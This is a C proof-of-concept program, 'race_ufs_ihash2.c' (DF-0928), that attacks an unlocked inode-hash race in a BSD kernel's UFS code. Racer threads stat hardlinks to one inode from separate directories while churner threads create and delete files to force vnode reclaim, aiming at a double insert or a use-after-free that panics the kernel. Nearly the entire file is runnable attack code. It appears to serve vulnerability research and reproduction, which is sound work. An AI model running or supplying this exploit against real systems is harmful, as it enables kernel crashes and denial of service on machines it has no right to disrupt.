/*
 * race_ufs_ihash2.c - DF-0928 PoC (aggressive): trigger the unlocked UFS
 * inode-hash race by combining concurrent lookups with vnode-recycling
 * workload on a UFS (FFS) mount.
 *
 * Two race modes are exercised simultaneously:
 *
 *  (A) DUAL-INSERT: N threads race stat()/open() of the SAME inode via
 *      different hardlink paths (different parent dirs → no dir-lock
 *      serialization). All threads miss ufs_ihashget and race into
 *      ufs_ihashins. On INVARIANTS, the orphan trips KKASSERT(ip==iq)
 *      at ufs_ihash.c:184 on reclaim.
 *
 *  (B) WALKER-UAF: a creator/deleter thread churns files on the mount,
 *      forcing continuous vnode reclaim (ufs_reclaim → ufs_ihashrem →
 *      kfree). Concurrent ufs_ihashget/lookup walkers reading the same
 *      hash bucket dereference a freed/poisoned inode → panic.
 *
 * Setup (root, one-time): kern.maxvnodes set low, UFS mount with small hash.
 *
 * Build: cc -O2 -pthread -o race_ufs_ihash2 race_ufs_ihash2.c
 * Run:   ./race_ufs_ihash2 /mnt/ufs_test
 */
#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <errno.h>
#include <time.h>

static const char *BASE = "/mnt/ufs_test";
static int NRACERS = 12;
static int NCHURNERS = 4;

static volatile int stop = 0;
static pthread_barrier_t bar;

/* Path array for hardlink racers (NRACERS different paths → same inode). */
static char hl_paths[64][256];

/* Racer: stat() a hardlink in a tight loop. */
static void *
racer(void *a)
{
    int idx = (int)(long)a;
    struct stat st;
    pthread_barrier_wait(&bar);
    while (!stop) {
        for (int i = 0; i < 200; i++) {
            if (stat(hl_paths[idx], &st) == 0) {
                /* touch it briefly */
            }
        }
    }
    return NULL;
}

/* Churner: create+delete files on the mount to force vnode recycling.
 * This drives ufs_reclaim → ufs_ihashrem → kfree concurrently with racers'
 * hash walks. */
static void *
churner(void *a)
{
    long id = (long)a;
    char p[256];
    pthread_barrier_wait(&bar);
    while (!stop) {
        for (int i = 0; i < 50; i++) {
            snprintf(p, sizeof p, "%s/.churn_%ld_%d", BASE, id, i);
            int x = open(p, O_CREAT | O_RDWR, 0600);
            if (x >= 0) {
                /* write something to dirty the inode */
                write(x, "x", 1);
                close(x);
            }
            unlink(p);
        }
    }
    return NULL;
}

int
main(int argc, char **argv)
{
    if (argc > 1) BASE = argv[1];
    int duration = argc > 2 ? atoi(argv[2]) : 120; /* seconds */

    struct rlimit rl;
    rl.rlim_cur = rl.rlim_max = 8192;
    setrlimit(RLIMIT_NOFILE, &rl);

    /* Create target file + hardlinks in separate dirs. */
    char t[256]; snprintf(t, sizeof t, "%s/TARGET", BASE);
    unlink(t);
    int fd = open(t, O_CREAT | O_EXCL | O_WRONLY, 0600);
    if (fd < 0) { perror("creat TARGET"); return 2; }
    write(fd, "target", 6);
    close(fd);

    for (int d = 0; d < NRACERS; d++) {
        char dir[256];
        snprintf(dir, sizeof dir, "%s/d%d", BASE, d);
        mkdir(dir, 0700);
        snprintf(hl_paths[d], sizeof hl_paths[0], "%s/d%d/hl", BASE, d);
        unlink(hl_paths[d]);
        if (link(t, hl_paths[d]) != 0) {
            perror("link");
            return 2;
        }
    }

    printf("DF-0928: %d racers + %d churners on UFS %s, %ds\n",
           NRACERS, NCHURNERS, BASE, duration);
    fflush(stdout);

    time_t end = time(NULL) + duration;
    pthread_barrier_init(&bar, NULL, NRACERS + NCHURNERS);
    pthread_t th[128];
    int nth = 0;

    for (int i = 0; i < NRACERS; i++)
        pthread_create(&th[nth++], NULL, racer, (void *)(long)i);
    for (long i = 0; i < NCHURNERS; i++)
        pthread_create(&th[nth++], NULL, churner, (void *)i);

    while (time(NULL) < end)
        sleep(5), printf("  still running... %lds left\n", (long)(end - time(NULL))), fflush(stdout);

    stop = 1;
    for (int i = 0; i < nth; i++)
        pthread_join(th[i], NULL);

    /* Cleanup */
    for (int d = 0; d < NRACERS; d++) {
        unlink(hl_paths[d]);
        char dir[256]; snprintf(dir, sizeof dir, "%s/d%d", BASE, d);
        rmdir(dir);
    }
    unlink(t);
    printf("DF-0928: completed without panic.\n");
    return 0;
}
